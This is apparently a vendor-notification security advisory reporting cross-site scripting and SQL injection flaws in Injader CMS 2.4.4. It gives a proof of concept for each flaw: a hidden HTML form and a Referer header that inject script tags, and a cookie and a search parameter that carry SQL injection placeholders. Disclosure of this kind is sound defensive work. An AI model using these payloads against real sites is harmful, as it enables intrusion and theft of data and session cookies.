Vulnerability ID: HTB22745
Reference: http://www.htbridge.ch/advisory/xss_vulnerability_in_injader_cms_1.html
Product: Injader CMS
Vendor: http://www.injader.com/ ( http://www.injader.com/ )
Vulnerable Version: 2.4.4
Vendor Notification: 07 December 2010
Vulnerability Type: XSS (Cross Site Scripting)
Status: Not Fixed, Vendor Alerted, Awaiting Vendor Response
Risk level: Medium
Credit: High-Tech Bridge SA - Ethical Hacking & Penetration Testing (http://www.htbridge.ch/)

Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/comment.php" script to properly sanitize user-supplied input in "txtGuestURL" variable.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:

<form action="http://injader/comment.php?action=create&area=1" method="post" name="main" >
<input type="hidden" name="txtGuestName" value="test"/>
<input type="hidden" name="txtGuestEmail" value="test@mail.com"/>
<input type="hidden" name="chkPreview" value="on"/>
<input type="hidden" name="txtContent" value="test"/>
<input type="hidden" name="txtArticleID" value="1"/>
<input type="hidden" name="txtGuestURL" value='http://123.com"><script>alert("XSS");</script>'/>
<input type="submit" value="submit" name="submit" />
</form>


Vulnerability Details:
The vulnerability exists due to failure in the "/index.php" script to properly sanitize user-supplied input in "IJ-Login" variable from cookie.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

GET /index.php HTTP/1.1
Cookie: IJ-Login=123'SQL_CODE_HERE


Vulnerability Details:
The vulnerability exists due to failure in the "/search.php" script to properly sanitize user-supplied input in "area1" variable.
Attacker can alter queries to the application SQL database, execute arbitrary queries to the database, compromise the application, access or modify sensitive data, or exploit various vulnerabilities in the underlying SQL database.

The following PoC is available:

http://[host]/search.php?go=yes&q=a&area1=123%27SQL_CODE


Vulnerability Details:
User can execute arbitrary JavaScript code within the vulnerable application.
The vulnerability exists due to failure in the "/login.php" script to properly sanitize user-supplied input in "Referer" variable.
Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data.

The following PoC is available:

GET /login.php HTTP/1.1
Referer: "><script>alert('XSS');</script>